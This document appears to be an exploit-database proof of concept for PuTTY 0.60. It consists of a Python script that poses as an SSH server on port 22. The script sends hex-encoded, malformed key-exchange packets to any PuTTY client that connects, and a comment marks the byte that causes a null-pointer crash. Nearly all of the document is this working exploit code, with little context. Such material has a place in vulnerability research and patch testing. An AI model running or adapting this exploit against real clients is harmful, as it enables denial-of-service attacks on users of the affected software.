Putty 0.60 - Crash (PoC)

print "\n" 
print "----------------------------------------------------------------" 
print "| putty 0.60 Null Ptr                                           |" 
print "| Level Smash the Stack                                         |" 
print "----------------------------------------------------------------" 
print "\n"

import sys, socket, binascii
HOST = sys.argv[1]
PORT = 22
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()
buf = [
	("5353482d322e302d57654f6e6c79446f20322e312e330d0a"),
	("000001ec0a14b940c70d1910a6effb0e2228c49c0042000000366469666669652d68656c6c6d616"
	"e2d67726f7570312d736861312c6469666669652d68656c6c6d616e2d67726f757031342d7368613"
	"10000000f3f407d89a1f204f37373682d647373000000826165733132382d6362632c336465732d6"
	"362632c626c6f77666973682d6362632c6165733139322d6362632c6165733235362d6362632c726"
	"96a6e6461656c3132382d6362632c72696a6e6461afb93139322d6362632c72696a6e6461656c323"
	"5362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73650000008261657"
	"33132382d6362632c336465732d6362632c626c6f77666973682db1fc632c6165733139322d63626"
	"32c6165733235362d6362632c72696a6e6461656c3132382d6362632c72696a6e6461656c3139322"
	"d6362632c72696a6e6461656c3235362d6362632c72696a6e6461656c2d636263406c797361746f7"
	"22e6c69752e736500000024686d61632d736861312c686d61632d736861312d39362c686d61632d6"
	"d64352c6e6f6e6500000024686d61632d736861312c686d61632d736861312d39362c686d61632d6"
	"d64352c6e6f6e65000000097a6c69622c6e6f6e65000000097a6c69622c6e6f6e650000000000000"
	"111001111111111111111111111111111"), ## The 00 controls the crash
	("0000023c091f00000095000000077373682d72736100000001230000008100d207286d90ff369d3"
	"64d9e3606ff18d6162088b426894f6216ca7709f7faa22d2e32065064d9c899a687746f3197fcc3c"
	"76d8cc643afdf14ba36252516f2b8b9ff3b131645f22bfd5f4b0b980acb4985e1c73bc3248559edd"
	"85fc2435d79e10462e1b662161e12fbc515a20a22ddd8901a1b5a231867d8f34d2196bfa01ddc5b0"
	"000010100847a283aff19a2abfe32490a2a941179c0c8076ab32421040d3ae88e6086049b53a9b97"
	"3967991ed7625dd05c85a54b4067d9e9941506158b9927002e71b84630f445eac743cf6050c5b43d"
	"a22cb8b7f559bb6f425c190b026e790f6924bf2d677f433674d1e31b71acc224c1c5979416f8f06a"
	"f70e92559b53ca23b82c852ec67ad35380e0d14ae96681bc4bddd3f73204cfc43b981fae94537a15"
	"3766aecd1ad963de610210b37f871b4b2939c934115ee3798062747bc22af375ba14b68077757bf3"
	"b45edf6ee8998f6f33a25092cb7789eb08c77cc2f26fb9507dad63f4a077cb5af5dbf248facde1ca"
	"75f95e84d4b2786fe9799dc20e9195853628132b40000008f000000077373682d727361000000804"
	"20087d6c6d46453e1bd004c715ced8814674435d48cb897e5141c03f15af86d93ac98a3376d963bc"
	"6915b98f7157418a9e0cef85a66b1ba855782848b9ae9e5a83ae051ee298299b27056020c4598045"
	"ae6eb61f5b2537adb07fa2e7733ab83907d9c61eb11f237f8e0b4a51b544687a4eec2a1be2a1dcbf"
	"cac4453d629a47d000000000000000000"),
	("0000000c0a15a1640000c32700008e14")
	]


i = 0
for i in range(0,len(buf)):
    conn.send(binascii.unhexlify(buf[i]))
    i+=1
conn.close()
s.close()